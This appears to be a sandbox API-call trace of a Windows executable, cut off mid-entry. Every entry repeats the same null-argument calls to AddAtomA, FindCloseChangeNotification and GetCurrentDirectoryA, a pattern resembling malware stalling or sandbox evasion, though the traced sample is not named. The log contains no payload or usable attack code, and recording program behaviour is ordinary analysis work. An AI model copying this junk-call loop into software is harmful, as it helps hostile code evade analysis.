[0055.008] AddAtomA (lpString=0x0) returned 0x0 [0055.008] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.008] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.008] AddAtomA (lpString=0x0) returned 0x0 [0055.008] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.008] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.008] AddAtomA (lpString=0x0) returned 0x0 [0055.008] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.008] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.008] AddAtomA (lpString=0x0) returned 0x0 [0055.008] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.009] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.009] AddAtomA (lpString=0x0) returned 0x0 [0055.009] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.009] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.009] AddAtomA (lpString=0x0) returned 0x0 [0055.009] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.009] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.009] AddAtomA (lpString=0x0) returned 0x0 [0055.009] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.009] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.009] AddAtomA (lpString=0x0) returned 0x0 [0055.009] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.009] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.009] AddAtomA (lpString=0x0) returned 0x0 [0055.009] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.009] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.009] AddAtomA (lpString=0x0) returned 0x0 [0055.009] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.009] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.009] AddAtomA (lpString=0x0) returned 0x0 [0055.009] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.009] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.009] AddAtomA (lpString=0x0) returned 0x0 [0055.009] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.009] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.009] AddAtomA (lpString=0x0) returned 0x0 [0055.009] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.009] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.009] AddAtomA (lpString=0x0) returned 0x0 [0055.009] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.009] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.009] AddAtomA (lpString=0x0) returned 0x0 [0055.009] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.009] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.010] AddAtomA (lpString=0x0) returned 0x0 [0055.010] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.010] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.010] AddAtomA (lpString=0x0) returned 0x0 [0055.010] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.010] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.010] AddAtomA (lpString=0x0) returned 0x0 [0055.010] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.010] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.010] AddAtomA (lpString=0x0) returned 0x0 [0055.010] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.010] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.010] AddAtomA (lpString=0x0) returned 0x0 [0055.010] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.010] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.010] AddAtomA (lpString=0x0) returned 0x0 [0055.010] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.010] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.010] AddAtomA (lpString=0x0) returned 0x0 [0055.010] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.010] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.010] AddAtomA (lpString=0x0) returned 0x0 [0055.010] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.010] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.010] AddAtomA (lpString=0x0) returned 0x0 [0055.010] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.010] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.010] AddAtomA (lpString=0x0) returned 0x0 [0055.010] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.011] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.011] AddAtomA (lpString=0x0) returned 0x0 [0055.011] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.011] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.011] AddAtomA (lpString=0x0) returned 0x0 [0055.011] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.011] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.011] AddAtomA (lpString=0x0) returned 0x0 [0055.011] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.011] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.014] AddAtomA (lpString=0x0) returned 0x0 [0055.014] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.014] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.014] AddAtomA (lpString=0x0) returned 0x0 [0055.014] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.014] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.014] AddAtomA (lpString=0x0) returned 0x0 [0055.014] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.014] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.014] AddAtomA (lpString=0x0) returned 0x0 [0055.014] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.014] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.014] AddAtomA (lpString=0x0) returned 0x0 [0055.014] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.014] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.014] AddAtomA (lpString=0x0) returned 0x0 [0055.014] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.014] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.014] AddAtomA (lpString=0x0) returned 0x0 [0055.014] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.014] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.014] AddAtomA (lpString=0x0) returned 0x0 [0055.014] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.014] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.014] AddAtomA (lpString=0x0) returned 0x0 [0055.014] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.014] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.014] AddAtomA (lpString=0x0) returned 0x0 [0055.014] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.015] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.015] AddAtomA (lpString=0x0) returned 0x0 [0055.015] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.015] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.015] AddAtomA (lpString=0x0) returned 0x0 [0055.015] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.015] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.015] AddAtomA (lpString=0x0) returned 0x0 [0055.015] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.015] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.015] AddAtomA (lpString=0x0) returned 0x0 [0055.015] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.015] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.015] AddAtomA (lpString=0x0) returned 0x0 [0055.015] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.015] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.015] AddAtomA (lpString=0x0) returned 0x0 [0055.015] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.015] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.015] AddAtomA (lpString=0x0) returned 0x0 [0055.015] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.015] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.015] AddAtomA (lpString=0x0) returned 0x0 [0055.015] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.015] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.015] AddAtomA (lpString=0x0) returned 0x0 [0055.015] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.015] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.015] AddAtomA (lpString=0x0) returned 0x0 [0055.015] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.015] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.015] AddAtomA (lpString=0x0) returned 0x0 [0055.015] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.015] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.016] AddAtomA (lpString=0x0) returned 0x0 [0055.016] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.016] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.016] AddAtomA (lpString=0x0) returned 0x0 [0055.016] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.016] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.016] AddAtomA (lpString=0x0) returned 0x0 [0055.016] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.016] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.016] AddAtomA (lpString=0x0) returned 0x0 [0055.016] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.016] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.016] AddAtomA (lpString=0x0) returned 0x0 [0055.016] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.016] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.016] AddAtomA (lpString=0x0) returned 0x0 [0055.016] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.016] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.016] AddAtomA (lpString=0x0) returned 0x0 [0055.016] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.016] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.016] AddAtomA (lpString=0x0) returned 0x0 [0055.016] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.016] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.016] AddAtomA (lpString=0x0) returned 0x0 [0055.016] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.016] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.016] AddAtomA (lpString=0x0) returned 0x0 [0055.016] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.016] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.016] AddAtomA (lpString=0x0) returned 0x0 [0055.016] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.016] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.016] AddAtomA (lpString=0x0) returned 0x0 [0055.016] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.017] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.017] AddAtomA (lpString=0x0) returned 0x0 [0055.017] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.017] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.017] AddAtomA (lpString=0x0) returned 0x0 [0055.017] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.017] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.017] AddAtomA (lpString=0x0) returned 0x0 [0055.017] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.017] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.017] AddAtomA (lpString=0x0) returned 0x0 [0055.017] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.017] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.017] AddAtomA (lpString=0x0) returned 0x0 [0055.017] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.017] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.017] AddAtomA (lpString=0x0) returned 0x0 [0055.017] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.017] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.017] AddAtomA (lpString=0x0) returned 0x0 [0055.017] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.017] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.017] AddAtomA (lpString=0x0) returned 0x0 [0055.017] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.017] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.017] AddAtomA (lpString=0x0) returned 0x0 [0055.017] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.017] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.017] AddAtomA (lpString=0x0) returned 0x0 [0055.017] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.017] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.017] AddAtomA (lpString=0x0) returned 0x0 [0055.017] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.017] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.017] AddAtomA (lpString=0x0) returned 0x0 [0055.018] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.018] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.018] AddAtomA (lpString=0x0) returned 0x0 [0055.018] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.018] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.018] AddAtomA (lpString=0x0) returned 0x0 [0055.018] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.018] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.018] AddAtomA (lpString=0x0) returned 0x0 [0055.018] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.018] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.018] AddAtomA (lpString=0x0) returned 0x0 [0055.018] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.018] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.018] AddAtomA (lpString=0x0) returned 0x0 [0055.018] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.018] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.018] AddAtomA (lpString=0x0) returned 0x0 [0055.018] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.018] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.018] AddAtomA (lpString=0x0) returned 0x0 [0055.018] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.018] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.018] AddAtomA (lpString=0x0) returned 0x0 [0055.018] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.018] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.018] AddAtomA (lpString=0x0) returned 0x0 [0055.018] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.018] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.018] AddAtomA (lpString=0x0) returned 0x0 [0055.018] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.018] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.018] AddAtomA (lpString=0x0) returned 0x0 [0055.019] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.019] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.019] AddAtomA (lpString=0x0) returned 0x0 [0055.019] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.019] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.019] AddAtomA (lpString=0x0) returned 0x0 [0055.019] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.019] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.019] AddAtomA (lpString=0x0) returned 0x0 [0055.019] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.019] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.019] AddAtomA (lpString=0x0) returned 0x0 [0055.019] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.019] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.019] AddAtomA (lpString=0x0) returned 0x0 [0055.019] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.019] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.019] AddAtomA (lpString=0x0) returned 0x0 [0055.019] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.019] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.019] AddAtomA (lpString=0x0) returned 0x0 [0055.019] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.019] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.019] AddAtomA (lpString=0x0) returned 0x0 [0055.019] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.019] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.019] AddAtomA (lpString=0x0) returned 0x0 [0055.019] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.019] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.019] AddAtomA (lpString=0x0) returned 0x0 [0055.019] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.019] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.019] AddAtomA (lpString=0x0) returned 0x0 [0055.019] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.019] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.020] AddAtomA (lpString=0x0) returned 0x0 [0055.020] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.020] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.020] AddAtomA (lpString=0x0) returned 0x0 [0055.020] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.020] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.020] AddAtomA (lpString=0x0) returned 0x0 [0055.020] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.020] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.020] AddAtomA (lpString=0x0) returned 0x0 [0055.020] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.020] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.020] AddAtomA (lpString=0x0) returned 0x0 [0055.020] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.020] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.020] AddAtomA (lpString=0x0) returned 0x0 [0055.020] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.020] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.020] AddAtomA (lpString=0x0) returned 0x0 [0055.020] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.020] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.020] AddAtomA (lpString=0x0) returned 0x0 [0055.020] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.020] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.020] AddAtomA (lpString=0x0) returned 0x0 [0055.020] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.020] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.020] AddAtomA (lpString=0x0) returned 0x0 [0055.020] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.020] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.020] AddAtomA (lpString=0x0) returned 0x0 [0055.020] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.020] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.020] AddAtomA (lpString=0x0) returned 0x0 [0055.020] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.020] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.021] AddAtomA (lpString=0x0) returned 0x0 [0055.021] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.021] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.021] AddAtomA (lpString=0x0) returned 0x0 [0055.021] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.021] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.021] AddAtomA (lpString=0x0) returned 0x0 [0055.021] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.021] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.021] AddAtomA (lpString=0x0) returned 0x0 [0055.021] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.021] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.021] AddAtomA (lpString=0x0) returned 0x0 [0055.021] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.021] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: 